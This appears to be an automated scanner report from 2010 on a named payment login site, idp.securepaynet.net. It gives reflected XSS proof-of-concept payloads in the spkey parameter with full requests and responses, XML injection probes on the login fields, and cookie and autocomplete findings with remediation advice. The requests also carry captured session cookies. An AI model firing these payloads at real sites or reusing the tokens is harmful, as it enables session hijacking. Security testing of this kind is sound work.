Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0b9f"style%3d"x%3aexpression(alert(1))"33c61d969f1 was submitted in the spkey parameter. This input was echoed as a0b9f"style="x:expression(alert(1))"33c61d969f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146a0b9f"style%3d"x%3aexpression(alert(1))"33c61d969f1 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:19:22 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82799
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>My Account - An Error Occurred</title> <l ...[SNIP]... <form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146a0b9f"style="x:expression(alert(1))"33c61d969f1" onSubmit="return pchj_login_action(this);"> ...[SNIP]...
The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8e1b"style%3d"x%3aexpression(alert(1))"6727b9787235d0654 was submitted in the spkey parameter. This input was echoed as d8e1b"style="x:expression(alert(1))"6727b9787235d0654 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Date: Sun, 17 Oct 2010 02:18:35 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=1rezi145mflduhaev40pcw45; path=/; HttpOnly Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 79090
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>My Account - An Error Occurred</title> <l ...[SNIP]... <form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d8e1b"style="x:expression(alert(1))"6727b9787235d0654" onSubmit="return pchj_login_action(this);"> ...[SNIP]...
The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 844e1"%3balert(1)//e1b0ddd47ca was submitted in the spkey parameter. This input was echoed as 844e1";alert(1)//e1b0ddd47ca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146844e1"%3balert(1)//e1b0ddd47ca HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:19:36 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82641
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>My Account - An Error Occurred</title> <l ...[SNIP]... r pcj_url_img="https://img5.wsimg.com/"; var pcj_url_mya="https://mya.securepaynet.net/"; var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146844e1";alert(1)//e1b0ddd47ca" var pcj_ssoTargetKey = "target"; var pcj_isCart = false; var pcj_cname = "ShopperId459469"; var pcj_cdomain = ".securepaynet.net"; var pcj_callov = false; var pcj_call = true; var pcj_isMgr = false;
The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c21c4"%3balert(1)//5ee487294203ba0ce was submitted in the spkey parameter. This input was echoed as c21c4";alert(1)//5ee487294203ba0ce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Sun, 17 Oct 2010 02:18:44 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=c0gedv45mgux0u45ukthkf55; path=/; HttpOnly Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 78932
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>My Account - An Error Occurred</title> <l ...[SNIP]... r pcj_url_img="https://img5.wsimg.com/"; var pcj_url_mya="https://mya.securepaynet.net/"; var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146c21c4";alert(1)//5ee487294203ba0ce" var pcj_ssoTargetKey = "target"; var pcj_isCart = false; var pcj_cname = "ShopperId459469"; var pcj_cdomain = ".securepaynet.net"; var pcj_callov = false; var pcj_call = true; var pcj_isMgr = false;
The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d2c34"%3balert(1)//3db19d83c1c was submitted in the spkey parameter. This input was echoed as d2c34";alert(1)//3db19d83c1c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB146d2c34"%3balert(1)//3db19d83c1c HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:19:37 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 93573
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><script src="https:/ ...[SNIP]... r pcj_url_img="https://img5.wsimg.com/"; var pcj_url_mya="https://mya.securepaynet.net/"; var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d2c34";alert(1)//3db19d83c1c" var pcj_ssoTargetKey = "target"; var pcj_isCart = false; var pcj_cname = "ShopperId459469"; var pcj_cdomain = ".securepaynet.net"; var pcj_callov = false; var pcj_call = true; var pcj_isMgr = false;
The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0f03"style%3d"x%3aexpression(alert(1))"9f56f41eb39 was submitted in the spkey parameter. This input was echoed as f0f03"style="x:expression(alert(1))"9f56f41eb39 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /retrieveaccount.aspx?ci=9107&prog_id=459469&spkey=SPSWNET-CORPWEB146f0f03"style%3d"x%3aexpression(alert(1))"9f56f41eb39 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:19:27 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 93731
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the spkey request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d5fc2"%3balert(1)//182ff889613 was submitted in the spkey parameter. This input was echoed as d5fc2";alert(1)//182ff889613 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146d5fc2"%3balert(1)//182ff889613 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:19:46 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82643
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>My Account - An Error Occurred</title> <l ...[SNIP]... r pcj_url_img="https://img5.wsimg.com/"; var pcj_url_mya="https://mya.securepaynet.net/"; var pcj_login_root_url="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d5fc2";alert(1)//182ff889613" var pcj_ssoTargetKey = "target"; var pcj_isCart = false; var pcj_cname = "ShopperId459469"; var pcj_cdomain = ".securepaynet.net"; var pcj_callov = false; var pcj_call = true; var pcj_isMgr = false;
The value of the spkey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5794"style%3d"x%3aexpression(alert(1))"144e23ad472 was submitted in the spkey parameter. This input was echoed as d5794"style="x:expression(alert(1))"144e23ad472 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /shopper_new.aspx?ci=10530&prog_id=459469&spkey=SPSWNET-CORPWEB146d5794"style%3d"x%3aexpression(alert(1))"144e23ad472 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 17 Oct 2010 02:19:32 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82801
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>My Account - An Error Occurred</title> <l ...[SNIP]... <form style="margin: 0;" name="pchFL" id="pchFL" method="POST" action="https://idp.securepaynet.net/login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146d5794"style="x:expression(alert(1))"144e23ad472" onSubmit="return pchj_login_action(this);"> ...[SNIP]...
2. XML injectionpreviousnext There are 2 instances of this issue:
XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.
This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.
Issue remediation
The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.
The loginname parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the loginname parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 200 OK Date: Sun, 17 Oct 2010 02:20:11 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=sscdwdyp4aclhl550pqfas55; path=/; HttpOnly Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 86527
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The password parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the password parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 200 OK Date: Sun, 17 Oct 2010 02:20:28 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=zw2xcw45dxwiei55mjz32q45; path=/; HttpOnly Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 86515
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
HTTP/1.1 302 Found Date: Sat, 16 Oct 2010 19:17:02 GMT Server: Microsoft-IIS/6.0 P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: https://mya.securepaynet.net/login_redirect.aspx?artifact=tVvNkxmgbyZqBQzZnasjCfUytxxxvqsS&ci=9106&prog_id=459469& Set-Cookie: ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; path=/; HttpOnly Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: traffic=; domain=securepaynet.net; path=/ Set-Cookie: gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; domain=securepaynet.net; expires=Sun, 16-Oct-2011 19:17:02 GMT; path=/ Set-Cookie: MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; domain=securepaynet.net; path=/ Set-Cookie: ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; domain=securepaynet.net; expires=Fri, 16-Oct-2020 19:17:02 GMT; path=/ Set-Cookie: MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; domain=securepaynet.net; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 243
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="https://mya.securepaynet.net/login_redirect.aspx?artifact=tVvNkxmgbyZqBQzZnasjCfUytxxxvqsS&ci=9106&prog_id=45 ...[SNIP]...
4. Password field with autocomplete enabledpreviousnext There are 4 instances of this issue:
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The form contains the following password field with autocomplete enabled:
password
Request
GET /login.aspx?ci=9106&prog_id=459469&spkey=SPSWNET-CORPWEB146 HTTP/1.1 Host: idp.securepaynet.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: pathway=fe53fb05-6e10-4a9b-8ff7-f6834f8ce421; ShopperId459469=heugmhmcghxjjelajfwescyhqiaiogpi; flag459469=cflag=us; SiteWidth459469=1000; visitor=vid=912e4373-434f-44e5-a0d8-78ac9ee0d1b9; actioncount=; app_pathway=; currencypopin459469=cdisplaypopin=false; MemAuthId459469=saibgfjjvbyiliteqdxgofzbubgfragewjqjcfgbxhlgchtdpbagdfbemhmczfnjbjwajbmdjhmajapaudpgxhqaqaagjffc; traffic=; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=5; adc459469=US; gdMyaHubble459469=ShopperID=ndajlezeqffijgweghfdwajhnjtgoiza&Hubble=True; ASP.NET_SessionId=pulmc5fukzzm5l452r4onbu4; MemShopperId459469=potableSourceStr=heugmhmcghxjjelajfwescyhqiaiogpi; currency459469=potableSourceStr=USD;
Response
